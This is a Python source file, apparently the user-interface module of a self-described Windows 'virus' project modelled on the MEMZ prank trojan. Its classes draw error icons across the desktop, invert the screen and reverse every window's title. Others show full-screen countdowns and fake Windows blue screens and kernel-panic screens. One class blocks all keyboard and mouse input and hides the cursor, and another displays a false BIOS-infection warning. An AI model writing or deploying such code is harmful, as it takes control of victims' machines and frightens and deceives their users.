# -*- Config : UTF-8 -*- # Project Name: Termination Generally Use Cyber Virus Puppet Weapons - TLUI/UIThread # Version: 4.2.0 # Build Version: ./TConfig/version.ini # Author: Veyra # Description: # Local Web Process from TLib import * from TLib.T_imports import * import TLib.T_Hardcoded as T_Hardcoded import TLib.T_Tools as T_Tools from . import UI_Hardcoded class MEMZMistakes(T_Process.TProcess): def Run(self, master: 'Termination4.Termination', Step: int = 200, SleepTime: float = 0.01): self.desc: str = "UI: MEMZMistakes" hwnd: int = win32gui.GetDesktopWindow() hdc: int = win32gui.GetWindowDC(hwnd) IconNames: list[int] = [win32con.IDI_ERROR, win32con.IDI_WARNING] images: list[int] = [] for IconName in IconNames: images.append(win32gui.LoadIcon(0, IconName)) def DrawIconDesktopThread(hdc: int, images: list): DesktopSize = pyautogui.size() for i in range(Step): win32gui.DrawIcon(hdc, random.randint(0, DesktopSize[0]), random.randint(0, DesktopSize[1]), images[random.randint(0, 1)]) time.sleep(SleepTime) threading.Thread(target = DrawIconDesktopThread, args = (hdc, images)).start() for i in range(Step): win32gui.DrawIcon(hdc, pyautogui.position()[0], pyautogui.position()[1], images[0]) time.sleep(SleepTime) class MEMZInvertDesktop(T_Process.TProcess): def Run(self, master: 'Termination4.Termination', Step: int = 200, SleepTime: float = 0.01): self.desc: str = "UI: InvertDesktop" hWnd: int = win32gui.GetDesktopWindow() hdc: int = win32gui.GetWindowDC(hWnd) rect: tuple[int, int, int, int] = win32gui.GetWindowRect(hWnd) for i in range(Step): win32gui.BitBlt(hdc, 0, 0, rect[2], rect[3], hdc, rect[0], rect[1], win32con.DSTINVERT) time.sleep(SleepTime) class MEMZReverseTitle(T_Process.TProcess): def Run(self, master: 'Termination4.Termination'): self.desc: str = "UI: ReverseTitle" hwnds: list[int] = [] win32gui.EnumWindows(lambda h, p: p.append(h), hwnds) for h in hwnds: self.rev(h) children: list[int] = [] win32gui.EnumChildWindows(h, lambda ch, p: p.append(ch), children) for ch in children: self.rev(ch) def rev(self, hwnd): t: list[str] = list(win32gui.GetWindowText(hwnd)) t.reverse() win32gui.SetWindowText(hwnd, "".join(t)) class Thread_SpaceTunnelEffect(T_Process.TProcess): def Run(self, master: 'Termination4.Termination', Step: int = 200, SleepTime: float = 0.01): self.desc: str = "UI: SpaceTunnelEffect" hdesktop: int = win32gui.GetDesktopWindow() DesktopDC: int = win32gui.GetWindowDC(hdesktop) MonitorRect: tuple[int, int, int, int] = win32gui.GetWindowRect(hdesktop) MonitorWidth: int = MonitorRect[2] - MonitorRect[0] MonitorHeight: int = MonitorRect[3] - MonitorRect[1] DC: win32ui.CDC = win32ui.CreateDCFromHandle(DesktopDC) MemDC: win32ui.CDC = DC.CreateCompatibleDC() Bmp = win32ui.CreateBitmap() Bmp.CreateCompatibleBitmap(DC, MonitorWidth, MonitorHeight) MemDC.SelectObject(Bmp) Scale = 1.0 ScaleSpeed = 0.95 try: for _ in range(Step): MemDC.BitBlt((0, 0), (MonitorWidth, MonitorHeight), DC, (0, 0), win32con.SRCCOPY) Scale *= ScaleSpeed if Scale < 0.1 or Scale > 1.0: ScaleSpeed = 1.0 / ScaleSpeed Scale = max(0.1, min(1.0, Scale)) ScaledWidth = int(MonitorWidth * Scale) ScaledHeight = int(MonitorHeight * Scale) XPos = (MonitorWidth - ScaledWidth) // 2 YPos = (MonitorHeight - ScaledHeight) // 2 DC.StretchBlt( (XPos, YPos), (ScaledWidth, ScaledHeight), MemDC, (0, 0), (MonitorWidth, MonitorHeight), win32con.SRCCOPY ) time.sleep(SleepTime) finally: MemDC.DeleteDC() DC.DeleteDC() # Bmp.DeleteObject() class Thread_CountDown(T_Process.TProcess): def Run(self, master: 'Termination4.Termination', Seconds: int = 10, Text: str = "", Bg: str = 'red', Fg: str = 'white', CallBack: typing.Callable = None): self.desc = "UI: Count Down" self.Seconds: int = Seconds self.Bg: str = Bg self.Fg: str = Fg self.CallBack: typing.Callable = CallBack if CallBack else self._Handle_Stop self.EndTime: int = 0 self.Running: bool = False self.Root = tkinter.Tk() self.Root.title("Countdown") self.Root.attributes('-fullscreen', True) self.Root.wm_attributes('-topmost', True) self.Root.configure(bg = self.Bg) tkinter.Label(self.Root, text = "", font = ('Arial', 300, 'bold'), bg = self.Bg, fg = self.Fg).pack() self.Label: tkinter.Label = tkinter.Label( self.Root, text = "", font = ('Arial', 60, 'bold'), bg = self.Bg, fg = self.Fg ) self.Label.pack() self.TextLabel: tkinter.Label = tkinter.Label( self.Root, text = Text, font = ('Arial', 30, 'bold'), bg = self.Bg, fg = self.Fg ) self.TextLabel.pack(anchor='center') self.Root.bind('', lambda e: self.Root.attributes('-fullscreen', False)) if issubclass(type(self.Seconds), str): self.EndTime: int = time.mktime(time.strptime(self.Seconds, "%Y-%m-%d %H:%M:%S")) if issubclass(type(self.Seconds), int): self.EndTime: int = time.time() + self.Seconds self.Running: bool = True self.UpdateCount() self.Root.mainloop() def UpdateCount(self): if not self.Running: return Remaining: int = self.EndTime - time.time() if Remaining <= 0: self.Label.config(text="0000-00-00 00-00-00-0000") self.Running = False if self.CallBack: self.CallBack() return Millis: int = int((Remaining % 1) * 1000) Seconds: int = int(Remaining) % 60 Minutes: int = int(Remaining / 60) % 60 Hours: int = int(Remaining / 3600) % 24 Days: int = int(Remaining / 86400) % 30 Months: int = int(Remaining / (86400 * 30)) % 12 Years: int = int(Remaining / (86400 * 365)) TimeStr: str = (f"{Years:04d}-{Months:02d}-{Days:02d} " f"{Hours:02d}-{Minutes:02d}-{Seconds:02d}-{Millis:04d}" ) self.Label.config(text = TimeStr) self.Root.after(1, self.UpdateCount) def stop(self): self.Running: bool = False def _Handle_Stop(self): if self.Root.winfo_exists(): self.Running: bool = False self.Label.config(text="0000-00-00 00-00-00-0000") self.UpdateCount() time.sleep(1) self.Root.withdraw() self.Root.destroy() class Thread_TypingMessage(T_Process.TProcess): def Run(self, master: 'Termination4.Termination', Static_TTF: str = "./System.tff", ChineseFontSize: int = 36, EnglishFontSize: int = 24, TerminationTitleSize: int = 48, TerminationSubtitleSize: int = 20, CursorVisible: bool = True, CurrentLine: int = 0, TypingSpeed: int = 50, TextPairs: list[tuple] = [], TerminationTexts: list[str] = [] ): self.desc: str = "UI: Typing Message" T_Tools.InstallFont(Static_TTF) self.Root: tkinter.Tk = tkinter.Tk() self.Root.attributes('-fullscreen', True) self.Root.config(bg='black') self.ChineseFontSize: int = ChineseFontSize self.EnglishFontSize: int = EnglishFontSize self.TerminationTitleSize: int = TerminationTitleSize self.TerminationSubtitleSize: int = TerminationSubtitleSize self.Canvas: tkinter.Canvas = tkinter.Canvas(self.Root, bg='black', highlightthickness=0) self.Canvas.pack(fill=tkinter.BOTH, expand=True) try: self.ChineseFont: tkinter.font.Font = tkinter.font.Font(family = "ipix_12px", size = self.ChineseFontSize) self.EnglishFont: tkinter.font.Font = tkinter.font.Font(family = "ipix_12px", size = self.EnglishFontSize) except: self.ChineseFont: tkinter.font.Font = tkinter.font.Font(size = self.ChineseFontSize) self.EnglishFont: tkinter.font.Font = tkinter.font.Font(size = self.EnglishFontSize) self.TextPairs: list[tuple] = TextPairs self.TerminationTexts: list[str] = TerminationTexts self.CursorVisible: bool = CursorVisible self.CursorID: int | None = None self.ChineseCursorID: int | None = None self.CurrentLine: int = CurrentLine self.DisplayingText: str = "" self.Deleting: bool = False self.TypingSpeed: int = TypingSpeed self.Root.update() self.StartTypingEffect() self.Root.mainloop() def StartTypingEffect(self): if self.CurrentLine < len(self.TextPairs): ChineseText: str EnglishText: str ChineseText, EnglishText = self.TextPairs[self.CurrentLine] self.DisplayText(ChineseText, EnglishText) else: self.ShowTerminationTexts() def DisplayText(self, ChineseText, EnglishText): self.Canvas.delete("all") ScreenWidth: int = self.Root.winfo_screenwidth() ScreenHeight: int = self.Root.winfo_screenheight() self.ChineseTextID: int = self.Canvas.create_text( ScreenWidth // 2, ScreenHeight // 2 - self.ChineseFontSize, text = "", font = self.ChineseFont, fill = "red", anchor=tkinter.CENTER ) self.EnglishTextID: int = self.Canvas.create_text( ScreenWidth // 2, ScreenHeight // 2 + self.EnglishFontSize, text = "", font = self.EnglishFont, fill = "red", anchor = tkinter.CENTER ) self.DisplayingText: str = "" self.Deleting: bool = False self.TypeNextChar(ChineseText, EnglishText) def TypeNextChar(self, ChineseText, EnglishText): if len(self.DisplayingText) < len(ChineseText): self.DisplayingText = ChineseText[:len(self.DisplayingText)+1] self.Canvas.itemconfig(self.ChineseTextID, text=self.DisplayingText) EnglishDisplayLength = int(len(self.DisplayingText) * len(EnglishText) / len(ChineseText)) EnglishDisplay = EnglishText[:EnglishDisplayLength] self.Canvas.itemconfig(self.EnglishTextID, text = EnglishDisplay) self.UpdateCursorPositions() self.Root.after(self.TypingSpeed, lambda: self.TypeNextChar(ChineseText, EnglishText)) else: self.Root.after(1000, lambda: self.StartDeletingEffect(ChineseText, EnglishText)) def UpdateCursorPositions(self): if self.CursorID: self.Canvas.delete(self.CursorID) if self.ChineseCursorID: self.Canvas.delete(self.ChineseCursorID) ChineseBBOX: tuple[int, int, int, int] = self.Canvas.bbox(self.ChineseTextID) if ChineseBBOX: ChineseCursorX = ChineseBBOX[2] + 5 ChineseCursorY = (ChineseBBOX[1] + ChineseBBOX[3]) / 2 self.ChineseCursorID = self.Canvas.create_text( ChineseCursorX, ChineseCursorY, text = "|" if self.CursorVisible else "", font = self.ChineseFont, fill = "red", anchor=tkinter.W ) EnglishBBOX: tuple[int, int, int, int] = self.Canvas.bbox(self.EnglishTextID) if EnglishBBOX: EnglishCursorX = EnglishBBOX[2] + 5 EnglishCursorY = (EnglishBBOX[1] + EnglishBBOX[3]) / 2 self.CursorID = self.Canvas.create_text( EnglishCursorX, EnglishCursorY, text = "|" if self.CursorVisible else "", font = self.EnglishFont, fill = "red", anchor = tkinter.W ) self.Root.after(500, self.ToggleCursor) def ToggleCursor(self): if self.Deleting: return self.CursorVisible = not self.CursorVisible if self.ChineseCursorID: self.Canvas.itemconfig(self.ChineseCursorID, text = "I" if self.CursorVisible else "") if self.CursorID: self.Canvas.itemconfig(self.CursorID, text = "I" if self.CursorVisible else "") self.Root.after(500, self.ToggleCursor) def StartDeletingEffect(self, ChineseText, EnglishText): self.Deleting = True self.HideCursor() self.DeleteNextChar(ChineseText, EnglishText) def DeleteNextChar(self, ChineseText, EnglishText): if len(self.DisplayingText) > 0: self.DisplayingText = self.DisplayingText[:-1] self.Canvas.itemconfig(self.ChineseTextID, text=self.DisplayingText) EnglishDisplayLength: int = int(len(self.DisplayingText) * len(EnglishText) / len(ChineseText)) EnglishDisplay: str = EnglishText[:EnglishDisplayLength] self.Canvas.itemconfig(self.EnglishTextID, text=EnglishDisplay) self.UpdateCursorPositions() self.Root.after(self.TypingSpeed // 2, lambda: self.DeleteNextChar(ChineseText, EnglishText)) else: self.HideCursor() self.CurrentLine += 1 self.Root.after(500, self.StartTypingEffect) def HideCursor(self): if self.CursorID: self.Canvas.itemconfig(self.CursorID, text="") if self.ChineseCursorID: self.Canvas.itemconfig(self.ChineseCursorID, text="") self.CursorVisible: bool = False def ShowTerminationTexts(self): self.Canvas.delete("all") ScreenWidth: int = self.Root.winfo_screenwidth() ScreenHeight: int = self.Root.winfo_screenheight() self.TerminationIDs: list[int] = [] for i, text in enumerate(self.TerminationTexts): FontSize: int = self.TerminationTitleSize if i == 0 else self.TerminationSubtitleSize TextID: int = self.Canvas.create_text( ScreenWidth // 2, ScreenHeight // 2 - 60 + i * 70, text = text, font = ("ipix_12px", FontSize, "bold"), fill = "red", anchor = tkinter.CENTER ) self.TerminationIDs.append(TextID) self.FadeAlpha: int = 0 self.FadeIn() def FadeIn(self): if self.FadeAlpha < 255: self.FadeAlpha += 5 if self.FadeAlpha > 255: self.FadeAlpha: int = 255 for TextID in self.TerminationIDs: self.Canvas.itemconfig(TextID, fill = "#%02x0000" % self.FadeAlpha) self.Root.after(20, self.FadeIn) else: self.Root.after(3000, self.FadeOut) def FadeOut(self): if self.FadeAlpha > 0: self.FadeAlpha -= 5 if self.FadeAlpha < 0: self.FadeAlpha: int = 0 for text_id in self.TerminationIDs: self.Canvas.itemconfig(text_id, fill = "#%02x0000" % self.FadeAlpha) self.Root.after(50, self.FadeOut) else: self.Root.destroy() def _Handle_Stop(self): if self.Root.winfo_exists(): self.Root.withdraw() self.Root.destroy() # QrPhoto1 = base64.b64decode(UI_Hardcoded.QR) # QrdataStream = io.BytesIO(QrPhoto1) # pilImage = Image.open(QrdataStream) # photo = pilImage.resize((110, 110)) class Thread_BlueScreen(T_Process.TProcess): def Run(self, master: 'Termination4.Termination', AllowClose = True): self.desc = "UI: Blue Screen" self.Root = tkinter.Tk() self.Root.attributes('-transparentcolor','#f0f0f0') self.Root.title('Windows') self.Root.overrideredirect(True) self.Root.wm_attributes('-topmost', 1) self.Root.state("zoomed") if AllowClose: self.Root.bind("", self.HandleKeyPress) self.Root.bind("", lambda x: self._Handle_Stop()) else: self.Root.protocol("WM_DELETE_WINDOW", lambda: None) self.Canvas = tkinter.Canvas(self.Root, highlightthickness=0) self.Canvas.pack(fill=tkinter.BOTH, expand=True) self.SetupCanvas() self.Root.update() self.Root.mainloop() def SetupCanvas(self): self.Canvas.config(bg="#0078D7") LeftPadding = self.Root.winfo_screenwidth() * 0.1 FaceX = LeftPadding + 200 FaceY = self.Root.winfo_screenheight() * 0.2 self.FaceSize = 110 self.Face1 = self.Canvas.create_text( FaceX, FaceY, text=":", font = ("微软雅黑", int(self.FaceSize)), fill = 'white', anchor=tkinter.NW ) self.Face2 = self.Canvas.create_text( FaceX + 50, FaceY + 10, text="(", font = ("微软雅黑", int(self.FaceSize)), fill = 'white', anchor=tkinter.NW ) BigTextX = FaceX BigTextY = FaceY + self.FaceSize * 2 self.BigText = self.Canvas.create_text( BigTextX, BigTextY, anchor=tkinter.NW, font = ("微软雅黑", 25), fill='white', width = self.Root.winfo_screenwidth() * 0.9 ) QrX = FaceX + self.FaceSize * 0.2 QrY = BigTextY + self.Root.winfo_screenheight() * 0.2 self.QrCode = self.Canvas.create_image(QrX, QrY, anchor = tkinter.NW) # , image=ImageTk.PhotoImage(photo) smallTextX = QrX + 200 smallTextY = QrY self.SmallText = self.Canvas.create_text( smallTextX, smallTextY, anchor = tkinter.NW, font = ("微软雅黑", 15), fill='white', width = self.Root.winfo_screenwidth() * 0.5 ) self.DisplayInitialText() def DisplayInitialText(self): self.Canvas.itemconfig(self.BigText, text ="你的电脑遇到问题,需要重新启动。\n我们只收集某些错误信息,然后为你重新启动。\n0%完成") self.Canvas.itemconfig(self.SmallText, text = "有关此问题的详细信息和可能的解决方法,请访问 http://windows/stopcode\n如果致电支持人员,请向他们提供一下信息\n终止代码:SYSTEM_SERVICE_EXCEPTION") def DisplayAlternateText(self): self.Canvas.itemconfig(self.BigText, text = "你的电脑遇到问题,需要重新启动。\n我们不只收集某些错误信息,还有一些其它信息,然后可能会重新启动。\n0%完成") self.Canvas.itemconfig(self.SmallText, text = "有关此问题的详细信息和可能的解决方法,请访问 !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n如果致电GVS人员,请向他们提供一下信息\n终止代码:TERMINATION_BLUE_EXCEPTION") def HandleKeyPress(self, event): if event.keycode == 27: self.Root.destroy() def ChangeToRedTheme(self): self.Canvas.config(bg="#000") self.Canvas.itemconfig(self.Face1, fill = "red", font = ("ipix_12px", int(self.FaceSize))) self.Canvas.itemconfig(self.Face2, fill = "red", font = ("ipix_12px", int(self.FaceSize))) self.Canvas.move(self.Face2, 30, 0) self.Canvas.itemconfig(self.BigText, fill = "red", font = ("ipix_12px", 25)) self.Canvas.itemconfig(self.SmallText, fill = "red", font = ("ipix_12px", 15)) self.Canvas.itemconfig(self.QrCode, image = "") self.Root.update() def _Handle_Stop(self): if self.Root.winfo_exists(): self.Root.withdraw() self.Root.destroy() class Thread_HAHA(T_Process.TProcess): def Run(self, master: 'Termination4.Termination', fontPath: str, soundPath: str): self.desc = "UI: HAHA" T_Tools.HideCursor() ctypes.windll.user32.BlockInput(True) self.FontPath = fontPath self.SoundPath = soundPath self.ProgressPercentage = 1 self.YPosition = 0 self.LineIndex = 0 T_Tools.InstallFont(self.FontPath) self.Root = tkinter.Tk() self.Root.attributes('-transparentcolor','#f0f0f0') self.Root.title('Windows') self.Root.overrideredirect(True) self.Root.wm_attributes('-topmost', 1) self.Root.state("zoomed") self.Root.bind("", self.HandleKeyPress) self.Root.protocol("WM_DELETE_WINDOW", lambda: None) self.Sentences = UI_Hardcoded.Sentence self.Root.update() self.Root.after(1, self.Animation1) self.Root.mainloop() def SetupCanvas(self): self.Canvas.config(bg = "#0078D7") LeftPadding = self.Root.winfo_screenwidth() * 0.1 FaceX = LeftPadding + 200 FaceY = self.Root.winfo_screenheight() * 0.2 self.FaceSize = 110 self.Face1 = self.Canvas.create_text( FaceX, FaceY, text=":", font = ("微软雅黑", int(self.FaceSize)), fill = 'white', anchor = tkinter.NW ) self.Face2 = self.Canvas.create_text( FaceX + 50, FaceY + 10, text="(", font = ("微软雅黑", int(self.FaceSize)), fill = 'white', anchor = tkinter.NW ) BigTextX = FaceX BigTextY = FaceY + self.FaceSize * 2 self.BigText = self.Canvas.create_text( BigTextX, BigTextY, anchor = tkinter.NW, font = ("微软雅黑", 25), fill = 'white', width = self.Root.winfo_screenwidth() * 0.9 ) # 创建QR码 QrX = FaceX + self.FaceSize * 0.2 QrY = BigTextY + self.Root.winfo_screenheight() * 0.2 self.QrCode = self.Canvas.create_image(QrX, QrY, anchor = tkinter.NW) # 创建小段文字 smallTextX = QrX + 200 smallTextY = QrY self.SmallText = self.Canvas.create_text( smallTextX, smallTextY, anchor = tkinter.NW, font = ("微软雅黑", 15), fill = 'white', width = self.Root.winfo_screenwidth() * 0.5 ) self.DisplayInitialText() def DisplayInitialText(self): self.Canvas.itemconfig(self.BigText, text = "你的电脑遇到问题,需要重新启动。\n我们只收集某些错误信息,然后为你重新启动。\n0%完成") self.Canvas.itemconfig(self.SmallText, text = "有关此问题的详细信息和可能的解决方法,请访问 http://windows/stopcode\n如果致电支持人员,请向他们提供一下信息\n终止代码:SYSTEM_SERVICE_EXCEPTION") def DisplayAlternateText(self): self.Canvas.itemconfig(self.BigText, text = "你的电脑遇到问题,需要重新启动。\n我们不只收集某些错误信息,还有一些其它信息,然后可能会重新启动。\n0%完成") self.Canvas.itemconfig(self.SmallText, text = "有关此问题的详细信息和可能的解决方法,请访问 !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n如果致电GVS人员,请向他们提供一下信息\n终止代码:TERMINATION_BLUE_EXCEPTION") def HandleKeyPress(self, event): if event.keycode == 27: self.Root.destroy() def ChangeToRedTheme(self): self.Canvas.config(bg="#000") self.Canvas.itemconfig(self.Face1, fill = "red", font=("ipix_12px", int(self.FaceSize))) self.Canvas.itemconfig(self.Face2, fill = "red", font=("ipix_12px", int(self.FaceSize))) self.Canvas.move(self.Face2, 30, 0) self.Canvas.itemconfig(self.BigText, fill = "red", font=("ipix_12px", 25)) self.Canvas.itemconfig(self.SmallText, fill = "red", font=("ipix_12px", 15)) self.Canvas.itemconfig(self.QrCode, image="") self.Root.update() def ShowTextAnimation(self): if self.LineIndex < 2 or self.LineIndex > 30: text = "HA " * 50 else: text = "".join(random.choice(self.Sentences) for _ in range(5)) self.Canvas.create_text( 10, self.YPosition, text = text, fill = "red", font=("ipix_12px", 30), anchor = tkinter.NW ) self.YPosition += 30 self.LineIndex += 1 if self.LineIndex > self.Canvas.winfo_height() // 15: self.Canvas.delete("all") self.SetupCanvas() self.ChangeToRedTheme() self.YPosition = 0 self.LineIndex = 0 self.Canvas.update() self.Root.update() self.Root.after(1, self.ShowTextAnimation) def Animation3(self): self.ChangeToRedTheme() self.Root.after(3500, self.ShowTextAnimation) self.Root.after(3500+16500, self._Handle_Stop) threading.Thread(target=lambda: playsound.playsound(self.SoundPath)).start() def DrawLine(self, x1, y1, x2, y2, color): self.Canvas.create_line(x1, y1, x2, y2, fill =color) def Animation2(self): self.Canvas = tkinter.Canvas(self.Root, highlightthickness=0) self.Canvas.pack(fill = tkinter.BOTH, expand = True) sw=self.Root.winfo_screenwidth() self.SetLines(sw) self.Root.update() time.sleep(3) self.Root.attributes('-transparentcolor','#f0f0f0') self.Canvas.delete("all") self.SetupCanvas() self.Root.after(5000, self.Animation3) def SetLines(self, sw): for y in range(0, random.randint(300,400)): color = f"#{random.randint(0, 0xFFFFFF):06x}" self.DrawLine(y, 1, y, sw, color) for y in range(random.randint(500,600), 600): color = f"#{random.randint(0, 0xFFFFFF):06x}" self.DrawLine(y, 1, y, sw, color) for y in range(800, 1000): color = f"#{random.randint(0, 0xFFFFFF):06x}" self.DrawLine(y, 1, y, sw, color) for y in range(1200, 1500): color = f"#{random.randint(0, 0xFFFFFF):06x}" self.DrawLine(y, 1, y, sw, color) for y in range(2000, 3000): color = f"#{random.randint(0, 0xFFFFFF):06x}" self.DrawLine(y, 1, y, sw, color) for y in range(3500, 4000): color = f"#{random.randint(0, 0xFFFFFF):06x}" self.DrawLine(y, 1, y, sw, color) for y in range(4200, 10000): color = f"#{random.randint(0, 0xFFFFFF):06x}" self.DrawLine(y, 1, y, sw, color) def Text(self, text, fg="#FFF", bg="#000"): tkinter.Label(self.A1Frame, text = text,fg = fg,bg = bg,font = ("ipix_12px",15)).pack(anchor = "sw") def FText(self): tkinter.Label(self.A1Frame, text = "").pack(anchor = "sw") def Animation1(self): self.A1Frame = tkinter.Frame(self.Root, bd=0) self.A1Frame.pack(fill = tkinter.BOTH, expand = True) self.Root.update() self.Text("Please contact the Voodoo Kernel Dev-Team with a photo of the Information printed below,") self.Text("Along With a description of your system configuration and what you were doing at the time that") self.Text("the kernel panic occurred. We appologize for the lnconvenience") self.FText() self.Root.update() time.sleep(1) self.Text('Panic(CPU 0 Caller 0x001AC05E): "Windows Teacher Error"') self.Text("Debugger Called: ") self.Text("Backtrace (CPU 0),Frame : Return Address (4 potential ponies on stack)") self.Root.update() time.sleep(0.2) self.Text("0x14e1ffce68 : 0x12b08c (0xfffffffff 0xfffffffff 0xfffffffff)") self.Text("0x14e1ffce69 : 0x12b07c (0xfffffffff 0xfffffffff 0xfffffffff)") self.Text("0x14e1ffce70 : 0x12b05c (0xfffffffff 0xfffffffff 0xfffffffff)") self.Text("0x14e1ffce23 : 0x12b0cc (0xfffffffff 0xfffffffff 0xfffffffff)") self.Text("0x14e1ffcf35 : 0x12b0fc (0xfffffffff 0xfffffffff 0xfffffffff)") self.Text("0x14e1ffcf90 : 0x12b0ac (0xfffffffff 0xfffffffff 0xfffffffff)") self.Root.update() time.sleep(0.2) self.Text("Backtrace terminated-invalid frame pointer 0") self.FText() self.Text("BSD process name corresponding to current thread: Unknown") self.FText() self.Root.update() time.sleep(1) self.Text("Windows version:") self.Text("Win 32/Run") self.FText() self.Text("Kernel version:") self.Text("Win32 Kernel V3.2.5 / EFI Boot System V7") self.FText() self.Root.update() time.sleep(1) self.Text("Try automatic repair...") self.Root.update() time.sleep(1) self.Text("0x14e1ffce61 : 0x12b08c (0xfffffffff 0xfffffffff 0xfffffffff)") self.Text("0x14e1ffce62 : 0x12b07c (0xfffffffff 0xfffffffff 0xfffffffff)") self.FText() self.Root.update() time.sleep(1) self.Text("WARNING", "yellow", "red") self.Text("We now advise you to understand that by stopping the operation of your computer,", "yellow", "red") self.Text("your computer is suspected to be infected with a virus that modifies the BIOS,", "yellow", "red") self.Text("as we have an error while verifying the BIOS file, therefore,", "yellow", "red") self.Text("please shut down this computer immediately, otherwise,", "yellow", "red") self.Text("the manufacturer should not be responsible for any consequences", "yellow", "red") self.Root.update() time.sleep(3) self.A1Frame.destroy() self.Root.after(1, self.Animation2) def _Handle_Stop(self): if self.Root.winfo_exists(): self.Root.withdraw() self.Root.destroy() T_Tools.ShowCursor() win32api.ShowCursor(True)